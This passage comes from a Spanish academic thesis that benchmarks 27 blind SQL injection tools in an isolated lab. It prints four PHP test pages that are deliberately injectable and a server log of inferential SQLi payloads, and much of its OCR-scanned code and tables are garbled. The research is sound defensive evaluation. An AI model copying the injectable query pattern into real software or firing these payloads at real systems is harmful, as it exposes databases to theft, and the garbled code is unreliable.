Havij, Pangolin, SQID, SAFE3 SQL INJECTOR, Shoryuken, PRIAMOS y BSQLBF
(10 herramientas), no se cuenta con sitio web activo ya que los enlaces principales
estan rotos.

3. Realizar la instalacién de las herramientas en los sistemas operativos compatibles.
Las herramientas SQLIX, SQLNinja, BBQSQL, Squeeza, SQID, Shoryuken y ISR-
SQLGet (7 herramientas) fueron instalados en el sistema operativo Backtrack 5.0,
un sistema operativo que estaba vigente en el afio de lanzamiento de estas
herramientas. La herramienta V3NOM viene instalada por defecto en el sistema
operativo Kali. La herramienta SQLIX requiere librerias desactualizadas que no se
consiguen en Internet por los canales oficiales de los lenguajes de programacion.
La herramienta SQID ya no se encuentra en el sitio oficial de Ruby y fue necesario
buscarla en archivos no oficiales de Internet. La herramienta BlindCanSeeQL se
encuentra documentada con fecha de creacion en el afio 2015, pero aun no tiene

un reléase oficial.
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Para cada herramienta, se documenté su nombre comercial, licencia, afio de la Ultima

version, lenguaje en que se desarrolld, bases de datos que soporta para la extraccion, si

tiene soporte activo o no y los sistemas operativos donde funcionan. Esta informacion

también se document6 en la tabla 19 y las abreviaturas se encuentran definidas en la lista

correspondiente al inicio de este documento.

Tabla 19 Lista de herramientas para explotacion del riesgo inyecciones SQL

MY

Nombre Licencia | Afio dela | Lenguaje | Base de | Soporte | Sistemas
Comercial altima datos operativos
version soportadas
Absinthe GNU GPL | 2007 .NET MS,0ORA, No Win7
PG
Marathon Tool Ms-PL 2008 .NET MS, ORA, | No Win10
MY, 1+
SQLiX Creative 2006 PERL MS, MY No Linux
Commons
Attribution
3.0
Acunetix 11 Trial Shareware | 2017 NET MS, ORA, | Si Win10
14 days PG, MY+
Sqglmap GNU GPL | 2017 Python MS, ORA, | Si Win, Linux,
PG, MAC
MY,12+
Wapiti GNU GPL | 2013 Python MS, MY No Winl10
Paros Creative 2006 Java MS No Win7
Commons
Attribution
Pixy Open 2007 Java MY No Win10
Source
BSQL Hacker GNU GPL | 2008 .NET MS, ORA, | No Win7
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SQLBrute - SQL | Reciprocal | 2006 Python MS,ORA No Winl0
Injection Brute | Public
Forcer License
15
SQLNinja GNU GPL | 2012 Perl MS No Linux
BBQSQL BSD 2014 Python MY No Linux
Licensing
Squeeza GNU GPL | 2012 Ruby MS, MY No Linux
Hauvij Shareware | 2013 .NET MS No Win7
SQL Power | Clarified 2014 .NET MS, ORA, | No Winl0
Injector Artistic MY, 2+
license
BlindCanSeeQL No No .NET MS No Sin version
2015 released released
Pangolin Shareware | 2012 Unknow MS, ORA, | No Win7
PG, MY, 5+
DarkMysqli GNU GPL | 2009 Python MY No Win10
SQID - SQL | GNU GPL | 2007 Ruby MS, ORA, | No Linux
Injection digger MY
Safe3 SQL Injector | Open 2011 Unknow MS, ORA, | No Win7
Source PG, MY, 4+
The Mole GNU GPL | 2012 Python MS, ORA, | No Winl0
PG, MY
V3n0Om GNU GPL | 2017 Python MS, ORA, | Si Linux
MY, 1+
Shoryuken - SQL | GNU GPL | 2013 Linux bash | MS, MY No Linux
Injection Takeover
FJ-Injector GNU GPL | 2007 C++ MS, ORA, | No Win7
Framework PG, MY
ISR-SQLGet GNU GPL | 2007 Perl MS, ORA, | No Linux
PG, MY,

17+
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Priamos Freeware | 2007 .NET MS No Win10
BSQLBF BSD 2009 Perl MS, ORA, | No Winl10
Licensing PG, MY

Fuente: Elaboracion propia

De acuerdo con la tabla 19, solo el 11% de las herramientas tiene un licenciamiento pago,
aunque tienen versiones demo que permiten realizar su evaluacion. También es notable el
corto tiempo de vida de las herramientas analizadas: Durante los afios 2004 a 2007, se
crearon el 77.7% de las 27 herramientas analizadas. Sin embargo, de ese porcentaje, solo
una herramienta (SQLMAP) tiene soporte activo vigente y versiones compatibles con las
bases de datos mas recientes. La herramienta V3nOm es la otra herramienta que cuenta
con licenciamiento libre y soporte vigente, aunque su afio de creacion es mas reciente a
SQLMAP.

La compatibilidad con las bases de datos es otro factor que diferencia una herramienta de
otra. La herramienta ISR-SQLGET tiene en su documentacién compatibilidad con 21 bases
de datos diferentes, esto es comprensible ya que es una herramienta manual donde el
conocimiento de la base de datos recae en el usuario y no en la herramienta. La siguiente
herramienta con una mayor compatibilidad de base de datos es SQLMAP con un total de
12 bases de datos compatibles, esto es resultado de los afios de madurez de esta
herramienta. El resto de las herramientas es compatible con menos, siendo la media entre
3 y 4 bases de datos. De las 27 herramientas, 24 son compatibles con Microsoft SQL
Server, 20 con MySQL, 15 con ORACLE, 9 con POSTGRES y 6 con ACCESS. Las 27
herramientas son compatibles con Microsoft SQL Server o MySQL, por lo que un entorno

de prueba con estas dos bases de datos se pueden analizar todas las herramientas.

Con base en la informacion anterior, se realizé un andlisis comparativo. Aunque las
herramientas en cuestion son para la evaluacion del riesgo de las inyecciones SQL, no
todas evaltan el riesgo de inyecciones inferenciales. Esta investigacion limita la evaluacion
a dicho riesgo, analizando el tiempo empleado por cada herramienta de la manera indicada

por la metodologia.
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4.1 Pasos para la evaluacion empirica de la herramienta

Con el objetivo de determinar cual herramienta usar para la evaluacion del riesgo de

inyecciones SQL inferenciales, se fijaron dos objetivos:

Conocer cuales son los algoritmos implementados por cada herramienta para la
evaluacion del riesgo de inyecciones inferenciales.
Realizar una comparacion del tiempo de ejecucion para establecer cuél es la

herramienta que evalla el riesgo en menos tiempo.

Con este fin, se analizaron las bases de datos compatibles a cada herramienta. El andlisis

empirico se realizé con las bases de datos SQL Server y MySQL. Para conocer el algoritmo

y el tiempo usado de cada herramienta se siguieron los siguientes pasos:

1.

3.

Crear una base de datos con 1 sola tabla y 5 campos, alimentada con dos registros,
uno con 500 caracteres aleatorios y otro con 500 caracteres en palabras del idioma
inglés.

Elaborar cuatro paginas web susceptibles al riesgo de inyecciones inferenciales
conectados a dicha aplicacion: por cada sub clasificacion del riesgo (basadas en
tiempo y no-tiempo) y por cada base de datos identificada (SQL SERVER vy
MYSQL).

Analizar los logs asociados en el servidor de aplicaciones después de la ejecucion
de cada herramienta. Es necesario analizar cada peticion realizada al servidor web
e identificar el algoritmo utilizado en cada una.

Basado en el analisis anterior, identificar el algoritmo, analizar los tiempos de
ejecucion de cada herramienta para cada tipo y determinar la mejor implementacion

para la evaluacion del riesgo.
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4.2 Preparacion del entorno de prueba

Para la realizacion de la prueba de evaluacion fue necesario crear una maquina virtual
VMWARE con 2 Gb de RAMy 1 procesador Inter Core 17-6600U CPU@ 2.6 Ghz, corriendo
un sistema operativo Windows 10 Enterprise a 64 bits. Sobre esa maquina virtual, se

instalaron dos motores de base de datos: MySQL Version 5.7.19 y SQL Server version

13.0.4001.0. Para estas bases de datos se corrieron los scripts que crean la que sera base

de datos de prueba. Sobre estas bases de datos, ambas llamadas blindtest, se cre6 una

tabla llamada blindtesttable. En la figura 7 se encuentra la estructura creada en MYSQL y

en la figura 8 se encuentra la misma estructura implementada en SQL Server.

Figura 7 Estructura de la base de datos MySQL de prueba

php
RElOL|HE
Servidor actual:
MySQL v

Reciente  Favoritas

& Nueva
=L | blindtest
[ Nueva
- __jr_ blindtesttable
+- (IJOJF:mnas
| Indices
-I|-_ /| information_schema

Fuente: Elaboracion propia

=] Examinar

4 Estructura L[] SQL

., Buscar

B Cil Servidor: MySQL:3306 » @ Base de datos: blindtest » [ Tabla: blindtesttable

#c Insertar | =l Exportar | [& Importar = 3

# Nombre Tipo Cotejamiento Atributos Nulo Predeterminado Comentarios Extra
1 id 2 int(11) Mo  Minguna AUTO_INCREMENT
2 field1  wvarchar(30) latin1_swedish_ci No  Ninguna
3 field2  wvarchar(50) latin1_swedish_ci No  Ninguna
4 field3  wvarchar(20) latin1_swedish_ci No  MNinguna
5 fieldd  text latin1_swedish_ci No  Ninguna
+ Seleccionar todo Para los elementos que estan marcados: [ Examinar 7 Cambiar @ Eliminar
() Imprimir B Planteamiento de la estructura de tabla @  J5 Mover columnas g Mejorar la estructura de tabla
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Figura 8 Estructura de la base de datos SQL Server de prueba

L_t; DESKTOP-GUTRIF2.blindtest - dbo.blindtesttable - Microsoft SOL Server Management Studio

File Edit View Project Debug Table Designer

io-0(f-a-LEd Brvaey BRAKS| LIS
I Object Explorer > 1 x IDESKTOP—GUTRIFS.h.udhn.hlindtesttahle A X
Connect~ ¥ ¥ ¢ Column Name Data Type

Tools  Window  Help

= W@ DESKTOP-GUTRIFS (SOL Server 13.0.40(
= Datzbases
= Systemn Databases
] Database Snapshots
= W blindtest
= Database Diagrams
= Tables
= System Tables
+ FileTables
= External Tables
= EB dbo.blindtesttable
Columns
Keys
Constraints
Triggers
Indexes

IEEEEE

Statictics

Fuente: Elaboracion propia

fieldl
field2
field3
field4

warchar(30)
warchar(30)
warchar(20)
text

-| &

Allow Mulls

oooooo

Server Mame desktop-gutrifd

[ Table Designer
Identity Column  id
Indexable Ves
Lock Escalation Table
Regular Data Space PRIMARY
Replicated Neo
Row GUID Colurnn
Text/Image Filegror PRIMARY

[Tbi] dbo.blindtesttable

2[5

2 (Identity)
(Name) blindtesttable
Database Name blindtest
Description
Schema dbo

Ademas de lo anterior, se instaldé un solo servidor web que se conecté a ambas bases de

datos. El servidor web es un servidor apache version 2.4.27 con PHP versién 7.0.23 y

MySQL Version:5.7.19. Las

librerias que tiene el apache implementadas son:

apache2handler, bcmath, bz2, calendar, com_dotnet, Core, ctype, curl, date, dom, exif,

fileinfo, filter, gd, gettext, gmp, hash, iconv, imap, intl, json, Idap, libxml, mbstring, mcrypt,

mysqli, mysqgind, openssl, pcre, PDO, pdo_mysql, pdo_sqlite, pdo_sqlsrv, Phar, Reflection,

session, SimpleXML, soap, sockets, SPL, sqglite3, sqlsrv, standard, tokenizer, wddx,

xdebug, xml, xmlreader, xmlrpc, xmlwriter, xsl, Zend OPcache, zip, zlib.

Con respecto a las maquinas empleadas, se ejecuto la herramienta en un equipo portatil
con procesador Intel Core i7 a 2.6 Ghz Gb, 16 Gb de RAM, disco de estado sélido de 512

Gb y sistema operativo Windows 10 Pro. Este equipo se conecto al otro a través de un

Switch Cisco Catalyst 2970 y cableado AMP categoria 6A. La maquina virtual se ejecut6

sobre un servidor Dell PowerEdge M910 con dos procesadores Intel Xeon CPU E7-2870
@ 2.40GHz con 196 Gb de RAM, Disco duro SCSI 271,50 GB, adaptador de red

10/100/1000 Mbps con sistema operativo VMWare ESXi -5.5.0 standard.
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Sobre este servidor web, se crearon 4 paginas web:

1. Errorbasedtestmssql: Pagina web vulnerable a inyecciones SQL inferenciales no
basadas en tiempo y compatible con SQL Server (Figura 9).

2. Errorbasedtestmysqgl: Pagina web vulnerable a inyecciones SQL inferenciales no
basadas en tiempo y compatible con MySQL Server (Figura 10).

3. Timebasedtestmssql: Pagina web vulnerable a inyecciones SQL inferenciales
basadas en tiempo y compatible con SQL Server (Figura 11).

4. Timebasedtestmysql: Pagina web vulnerable a inyecciones SQL inferenciales
basadas en tiempo y compatible con MySQL Server (Figura 12).

Para la realizacion de este codigo fuente, se tomaron las pautas establecidas en la
documentacion encontrada (Slaviero, 2012). Las figuras 9 y 10 difieren en la manera de
conexién a la base de datos, las cuales en la figura 9 son usando las librerias de SQL
Server para PHP y en la figura 10, las librerias de MySQL para el mismo lenguaje. Igual
diferencia existe entre el cédigo de las figuras 11y el de la figura 12.

Ademas, las diferencias entre las figuras 9 y 10 (no basadas en tiempo) con las figuras 11
y 12 (basadas en tiempo), son la existencia de mensajes de error y otra informacion
arrojada de la base datos y mostrada en la pagina web, informacién que se aprovecha en

el caso de las inyecciones inferenciales no basadas en tiempo.
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Figura 9 Archivo Errorbasedtestmssqgl.php

1 <?php

2 error_reporting (0} ;

3 Hif (isset ($_GET['id"])){

4 $id = § GET['id']:

3 £/ Pusstn gue no g han s£specificade UID pi PWD en el array $connectionInfo,
& /f La gonexlon s¢ intsntard wkilizande la aukenkigacion Windows.
i) SserverName = "lozalhosg™:

8 S$comnmectionOptions = array ("Database"=>"hlindtest"):

] Sconn = sglsrv_connect ($serverName, SconnectionCptions):
10 [H if({ Scomnn ) {

11 echc "Conexion esktaklecida.<hr />":

13 [H else {

14 echo "Conexion no 3e pude estableger.<hr />":

15 die( print_r( sglsrv_errors(}, true}):

17 Sagl = "SELECT * FROM hlindies able WHERE id = ™ Sid;
18 Sresult = sglsrv_guery ($conn, $sqgl);

15 [H try {
20 Sresult = sqlsrv_guery ($conn, §sqgl);
22 H catch (Exception Se) {
23 - }

24 Sstmt = sqglsrv guery( Sconn, $sql, S$params);

25 — if( Sztmt === false ) {

26 }

27 = while| Srow = gglsrv fetch array( Satmt, SQLSRV _FETCH ASSOC) ) {
28 if ($row['id' |==8id)

29 echo Srow['fieldl'"]:

30 else

31 echo "Error en la gonsulta”:

32 - }

33 sqglstv_free stmt( Sstmt);

34 -

55 =7

36 [H<html>

37 H<heads

38 </head>

39 [H<body>

40 = <form action="grrorhasedtestmssqgl.phn">

41 Enter ID: <input type="text" name="id"/>

42 <input name="search" type="submit" wvalue="Search">
43 </ form:>

44 < body>

45 </html>

Fuente: Elaboracion propia
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Figura 10 Archivo errorbasedtestmysql.php

1 [H<?php
2 error_reporting(C):
3 [Hif(isset($ GET['id']1)){
4 $id = § GET['id'];
= $link = mysqli connect('localhost', 'root', '','hlindiest'):
e H if (!§1link) {
7 die('Coneciion Failed' . mysgl error(}):
2 £2gl = "SELECT FRCM id =" £id;
10 H try {
11 print ($sqgl) ;
12 Sresult = mysgli guery($link, $sgl):
14 [H catch (Exception Se) {
15 print ("grrxr"):
16 o ]
17 =l while (Sresult && Srow = mysqgli fetch assoc|Sresult)) {
18 if(Srow['id' ]===5id)
19 echo Srow['fieldl']:
20 o ]
21 if(Sresult)
22 mysgl i_fr&e_result(-’-}:result] 5
23 mysgli close($link):
24 =
25 =2
26 = <html>
27 —l<head:=
28 </head>
25 Hl<body:>
30 = <form action="grrorhasedtestmysqgl .php">
31 Enter ID: <input tyvpe="text" namse="id"/ />
32 <input name="search" type="submit" wvalue="Search">
33 </ form>
34 |<,-"1::-Ddy>
35 </html>

Fuente: Elaboracion propia



Analisis y comparacion de las herramientas para la evaluacion de inyecciones 75

SQL inferenciales

Figura 11 Archivo timebasedtestmssqgl.php

1 <?php
2 error_reporting (U}
3 Hif (isset ($ GET['id"])){
4 $id = § GET['id']:
5 f/ Puesto gue no g han sespecificado UID pi PWD en el array $connectionInfo,
& // La gonexion se intentara utilizando la gugenticacion Windows.
7 S$serverName = "localhost":
8 ScomnnectionOptions = array ("Database"=>"hlindtest"):
] Sconn = sglsrv_connect ($serverName, SconnectionOptions):
10 H if({ $conn )} {
11 §sgl = "SELECT * FROM hlindteskiakle WHERE id = " . §id;
12 Sresult = sglsrv_guery (Sconn, $3qgl);
13 H try {
14 Sresult = sqlsrv_guery (Sconn, $s3gl) ;
15 - }
16 catch (Exception Se)
17 {}
18 $stmt = sqlsrv _guery( Sconn, $s3ql);
15 = while( Srow = gglsrv fetch array | Sstmt, SQLSRV FETCH ASSOC) ) {
20 if (stroemp (Srow['id'], §id) »=0)
21 echo Srow['fieldl']:
23 sglsrv _free stmt| Sstmt):
24 -
25 -
26 i
27 Hl<html>
22 H<head]
29 </head>
30 [H<body>
31 = <form action="timehasedtestmssgl.php">
32 Enter ID: <input type="text" name="id"/>
33 <input name="search" type="submit" wvalue="Search">
34 </ forms
35 < body>
36 </html>

Fuente: Elaboracion propia
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Figura 12 Archivo timebasedtestmysql.php

1 [He<?php
error_reporting(0):

3 [Hif(isset($ GET['id'])){
4 $id = §_GET['id']:

5 £link = mysqli conmect('logalhosk', 'root', "', 'klindtssg'):
g [ if (!5link)

T die('Conscihion Failed' . mysgl error()}:

2, §sgl = "SELECT * FRCOM hlindiestkable WHERE id = " . §id;
= try

A Sresult = mysqgli gmery($link, $sql);

catoch (Exception Se)

5 = while (Sresult && Srow = mysqgli fetch assoc(fresult))
3 1E(Srow["id' ]1==£51id)
7 echo Srow['f

.8 else
L echo "Error en la ggnsulka™:

i § if(Sresult)
mysqli_free_result(Eresalt];
mysqgli close ($link);

= il =
Hl<html:
H<head:>
'H </ head:>
'g H<body>
0 =] <form action="timebasediestimy=sgl .php":>
b1 Enter ID: <input type="text" name="id"/>
<input name="search" type="submit" valuese="Search">
)3 <fform>
14 </ body>
b5 </html>

Fuente: Elaboracion propia
Con el objetivo de alimentar las bases de datos con informacién aleatoria, se cre6 el codigo

mostrado en la figura 13. El método randomString retorna una cadena de caracteres

aleatoria con caracteres con valores UNICODE entre 1y 255. Y se llena cada uno de los
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campos de la tabla creada de acuerdo a su longitud. Aunque este cédigo alimenta la base
de datos MySQL, se cre6 uno similar para la base de datos SQL Server cambiando los
parametros de conexion.

Figura 13 Codigo para alimentar las bases de datos

1 < ?php

2 ij $link = mysqli_connect ("localhost”, "root”, '', "hlindrsst"):

3 = if ('£link)

4 echo "Error: NHo gg pudo genegkar a MySQL." . PHP EOL;

S echo " " . mysgli connect errnoi() . PHP EOL;
& echo "error fg depurazion: " . mysqli connect error() . PHP EOL;
7 exit;

& — function randomString ($len)

Lo E Scharacters = "";

L1 = for (1 = 1; %i < ; Si++)

L2 Scharacters = Scharacters . chri(fi);

L4 ScharacterslLength = strlen(Scharacters);

LS SrandomString = "';

e H for (5i = 0; 5i < Slen; 5i++)

L7 Srand = rand(C, 5charactersLength - 1):
L8 SrandomString .= Scharacters([Srand];

Pl
T

return SrandomString:

12 $stmt = mysgli prepare($link, "INSERT INIC klj

4 H

£ 0 htmlspecialchars[mysqli_grror[ﬂlink]J];
7T B for ($i = 0; Si < 1; Si++) {

H : Sfieldl = randomString(30);

S S£field2 = randomStringi(s0);

0 i 5field3 = randomString(2Z0);

31 $field4 = randomString(500):

32 g if (mysqgli stmt bind param($stmt, 'gg33',5fieldl, $fieldz, $field3, $fieldd))
i3 ; mysqli_;tmt_gxecute(Sstmt];

34 - }

35 eche 'Connection Jucessfull':

i6 mysgli close (Slink);

Fuente: Elaboracion propia

Con los pasos indicados en esta seccion, se tienen dos motores de base de datos
instalados, dos bases de datos creadas y alimentadas con datos aleatorios (una en cada
motor) y cuatro paginas web que son vulnerables a los dos subtipos y compatibles con

ambas bases de datos.
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4.3 Desarrollo de la comparacion empirica de las
herramientas

El objetivo de la comparacion es analizar el uso de las herramientas en la evaluacion del
riesgo de inyecciones SQL inferenciales. Existen varios tipos de herramientas: algunas
identifican el riesgo y lo evaluan, otras solo lo identifican y otras solo lo evaltan.

4.3.1 Identificacion del riesgo

La identificaciéon consiste en tomar la URL del sitio web indicado por el usuario, analizar
todas las entradas de este y, por cada entrada, realizar una bateria de pruebas que
permitan identificar si el sitio es vulnerable o no. El proceso de identificacién también
pudiera incluir el mismo analisis sobre las paginas internas y asi de manera recursiva hasta

no encontrar mas.

De las herramientas analizadas, 4 (15%) analizan las entradas del sitio web e identifican
si son vulnerables al riesgo de inyecciones SQL. Sin embargo, solo 3 de ellas (Acunetix,

Wapiti y V3nOm) encontraron la vulnerabilidad a las inyecciones inferenciales.

4.3.2 Evaluacion del riesgo

El proceso de evaluacion consiste en usar la entrada identificada en el proceso anterior y
ejecutar inyecciones para la extraccion de la informacion. Este proceso se realiza con el
fin que el auditor determine la criticidad del riesgo en términos del impacto que puede tener
en la organizacion. La mayoria de las herramientas solo realizan este paso, solicitando al

usuario el ingreso de la posible entrada vulnerable.

De todas las herramientas analizadas, solo la herramienta SQLMAP tiene la opcion para
evaluar el riesgo inferencial basado en tiempo y no basado en tiempo, las herramientas
Marathon Tool, SQLBrute - SQL Injection Brute Forcer,SQLNinja,BBQSQL,Squeeza y
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V3NOM (6 herramientas, 22%) tienen la funcionalidad para evaluar las inyecciones
basadas en tiempo y las herramientas Absinthe, BSQL Hacker, SQL Power Injector,
PANGOLIN, DARKMYSQLI, SAFE3 SQL INJECTOR, THE MOLE, FJ-Injector Framework,
BSQLBF 1.1 (9 herramientas, 33%) tienen la funcionalidad para evaluar las no basadas en
tiempo.

Con respecto a las entradas solicitadas al usuario por parte de las herramientas para iniciar
su ejecucion, las herramientas Acunetix 11 Trial, Wapiti y PRIAMOS (3 herramientas, 11%)
necesitan solo la URL del sitio web, las herramientas Absinthe, Marathon Tool, SQLiX,
Sqglmap, BSQL Hacker, SQLBrute - SQL Injection Brute Forcer, SQLNinja, BBQSQL,
Squeeza, Havij, SQID - SQL Injection digger, Shoryuken - SQL Injection Takeover (12,
44%) requieren la URL y la entrada vulnerable, BSQLBF, FJ-Injector Framework y The
Mole (3 herramientas, 11%) requieren la URL, la entrada vulnerable y un parametro
llamado NEEDLE, que consiste en el cambio del comportamiento de la pagina a buscar
después de la inyeccién. Las otras 8 herramientas, requieren mas parametros, como el

cbdigo fuente del sitio web, puertos y hasta archivos de configuracion.

4.4 Resultados de la evaluacion

Al ejecutar las herramientas, se comprobd la extraccién de la informacion. De las 27
herramientas, solo 5 (19%) extrajeron la informacién de manera correcta. Las herramientas
Marathon Tool, SQLNinja, Squeeza, Havij, SQL Power Injector, Pangolin, DarkMysqli,
Safe3 SQL Injector, FJ-Injector Framework y BSQLBF (37%) no son compatibles con las
versiones de Mysql 5.0 o superior, ni SQL Server 2016 por lo que extrajeron datos de
manera parcial. La herramienta Acunetix no permite la extraccion en su version demoy las
herramientas SQLiX, Wapiti, V3nom, BBQSQL, Paros, Pixy, SQID - SQL Injection digger,
Shoryuken - SQL Injection Takeover, ISR-SQLGet, Priamos (26%) no tienen la opcién de

extraccion de informacion o la opcion no funciona.

Las herramientas Acunetix 11 Trial, Sglmap, Wapiti, Paros, Pixy, BSQL Hacker, BBQSQL
y V3nOm (8, 29%) funcionan de manera automatizada, se indican los parametros

necesarios y la herramienta inicia automaticamente la extraccion.
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4.5 Algoritmos usados por las herramientas

Después de la extraccion, se analizé el LOG del servidor web apache llamado Access.log.
En la figura 14 se encuentra un ejemplo de como se ven las peticiones de las herramientas

en dicho sitio.

Figura 14 Log del servidor después de la ejecucién de la herramienta Absinthe

Archive Editar Buscar Vista Codificacion Lenguzje Configuracion Herramientas Macro  Ejecutar  Plugins  Ventana 2 X

o 8 s G8l [al [#h g ® x| BE Eho®|@ =1
Slsccesaios
1 192.168.29.246 - - [21/Jun/2017:11:48:58 -0500] "GET /errorbasedtestmssqgl.php?id=1++AND+0%3d0 HTTP/1.1" 200 257 -

192.168.25.246 - — [21/Jun/2017:11:48:55 -0500] "GET /errorbasedtestmssqgl. 4 HTTP/1.1" 200 227

192.168.25.246 - — [21/Jun/2017:11:48:55 -0500] "GET /errorbasedtestmssqgl. HTTP/1.1" 200 257

152.168.25.246 - - [21/Jun/2017:11:48:55 -0500] "GET /errorbasedtestmssqgl. HTTE/1.1" 200 227

S 192.168.29.246 - — [21/Jun/2017:11:48:59 -0500] "GET /errorbasedtestmssgl. HTTB/1.1" 200 257

192.168.29.246 - — [21/Jun/2017:11:48:59 -0500] "GET /errorbasedtestmssgl.php?id=1++AND+2%3d3 HITP/1.1" 200 227

7 192.168.29.246 - - [21/Jun/2017:11:48:59 -0500] "GET /errorbasedtestmssgl.php?id=1++AND+3%3d3 HTTP/1.1" 200 257

8 192.168.29.246 - - [21/Jun/2017:11:48:5% -0500] "GET /errorbasedtestmssgl.php?id=1++AND+3%3d4 HTTE/1.1" 200 227
S 192.168.29.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. .loginame) +FROM+master. . sysprocesses+AS+a+W
10 152.168.25.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssqgl. .loginame) +FROM+master. . Sysprocesses+AS+a+W
11 152.168.25.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssqgl. .loginame) +FROM+master. . Sysprocesses+AS+a+W
192.168.29.246 - — [21/Jun/2017:11:5: 8 -0500] "GET /errorbasedtestmssgl. .loginame) +FROM+master..sysprocesses+AS+a+i
192.168.29.246 - — [21/Jun/2017:11:5: 8 -0500] "GET /errorbasedtestmssgl. .loginame) +FROM+master..sysprocesses+AS+a+i
192.168.29.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+LEN (a.loginame) +FROMtmaster..sysprocessestAsta+ti
192.168.29.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+LEN (a.loginame)+FROM4master..sysprocesses+AS+a+ti
16 192.168.29.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. 1+AND+ (SELECT+LEN (a.loginame) +FROM+master. . sysprocesses+AS+a+i
17 152.168.25.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssqgl. =1+AND+ (SELECT+LEN (a.loginame) +FROM+master . . SySProcesses+AS+a+W
18 152.168.25.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssqgl. =1+AND+ (SELECT+LEN (a.loginame) +FROM+master . . SySProcesses+AS+a+W
19 192.16€8.29.246 - - [21/0un/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. =1+AND+ (SELECT+LEN (a.loginame) +FROM+master. . sysprocesses+as+a+n
20 192.168.25.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssqgl. 1+AND+ (SELECT+ASCII (SUBSTRING ( (a.loginame) %2cl%2cl) ) +FROM+mast
2 192.168.29.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. 1+AND+ (SELECT+ASCII (SUBSTRING ( (a.loginame) %2cl%2cl) ) +FROM+mast
192.168.29.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. 1+AND+ (SELECT+ASCIT (SUBSTRING ( (a.loginame)$2cl%2cl) ) +FROM+mast
192.168.29.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. 1+AND+ (SELECT+ASCIT (SUBSTRING ( (a.loginame)$2cl%2cl) ) +FROM+mast
192.168.29.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+ASCIT (SUBSTRING ((a.loginame)%2cl%2cl))+FROM+mast
192.168.25.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+ASCII (SUBSTRING ((a.loginame)%2cl%2cl))+FROM+mast
192.168.25.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+ASCII (SUBSTRING ((a.loginame)%2cl%2cl))+FROM+mast
192.168.25.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+ASCII (SUBSTRING ((a.loginame)%2cl%2cl))+FRCM+mast
192.168.29.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. 1+AND+ (SELECT+ASCII (SUBSTRING ( (a.loginame) %2cl%2cl) ) +FROM+mast
192.168.29.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl. 1+AND+ (SELECT+ASCII (SUBSTRING ( (a.loginame)%2cl%2cl) ) +FRCM+mast
192.168.29.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+ASCIT (SUBSTRING ( (a.loginame)%2c1%2cl))+FROM+mast
192.168.29.246 - - [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssgl.php?id=1+AND+ (SELECT+ASCIT (SUBSTRING ( (a.loginame)%2c1%2cl))+FROM+mast
192.168.25.246 - — [21/Jun/2017:11:52:48 -0500] "GET /errorbasedtestmssqgl. =1+AND+ (SELECT+ASCII (SUBSTRING ( (a.loginame) $2c1%2c1) ) +FROM+mast

162 _16R.26_246 — — [21/Tun/2017:11:52:48 05001 "GRT /errorbasedrestmasal nhn2id=1+AND+ (SETLRCTHASCTT (STRSTRTNG ( (a_1aminame) %201%2a11 ) +FROMAmast ¥

>

Fuente: Elaboracion propia

En esta investigacion, se analiza el archivo resultante para inferir cuél es el algoritmo usado
por cada herramienta. En total, el 37% de las herramientas usan el algoritmo de blusqueda
binaria, el 41% no realizd peticiones al sitio web con inyecciones SQL debido a que no
tenia la funcionalidad o no funcionaba con la versién actual de la base de datos, 7% us6
la busqueda secuencial con optimizacion, el 11% usé el algoritmo bit a bit y solo la
herramienta SQLMAP tiene una implementacién de los tres algoritmos con diferentes

optimizaciones que se configuran desde el inicio de la ejecucion si el usuario asi lo desea.
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La optimizacion méas comun es el ordenamiento de caracteres a buscar por frecuencia de

aparicion.

Los resultados de este trabajo se encuentran resumidos en la tabla 20 y las siglas usadas
en esta tabla se encuentran al inicio de este documento. Cuando en la columna entradas

se encuentra un niumero y el signo mas, significa que, aparte de las entradas mencionadas,

la herramienta exige mas, si se indica 2+ significa 2 entradas mas y asi sucesivamente.

Tabla 20 Andlisis de las herramientas sobre el riesgo de inyecciones SQL inferenciales

Herramie | ldentifica | Extracci | Algorit | Técni | Optimiza | Entrada | Operac
nta cion on mo cas cion S ion
satisfac
toria
Absinthe No Si BS NTB - URL+VI | Manual
Marathon No No, solo | BS B - URL+VI Manual
Tool para
bases de
datos en
desuso
SQLiX No No No No No URL+VI Manual
Acunetix Si No No No Descono | URL Automé
11 Trial incluido | incluido | incluid | cido tico
en lajen la|o
version | version
de de
prueba prueba
Sqglmap No Si 3 TB, Probabili | URL+VI | Automé&
algorit | NTB dad tico
mo
optimiz
ada
Wapiti Si No No No No URL Automé
tico
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Paros No No No No No URL+VI+ | Automé
2+ tico
Pixy No No No No No Cddigo Automa
fuente tico
BSQL No Si BS NTB - URL+VI | Automa
Hacker tico
SQLBrute | No Si SS B Hilos + | URL+VI Manual
- SQL Optimiz Probabili
Injection ado stica
Brute
Forcer
SQLNinja | No Parcial, | SS B Probabili | URL+VI Manual
solo Optimiz stica
metadat | ado
0
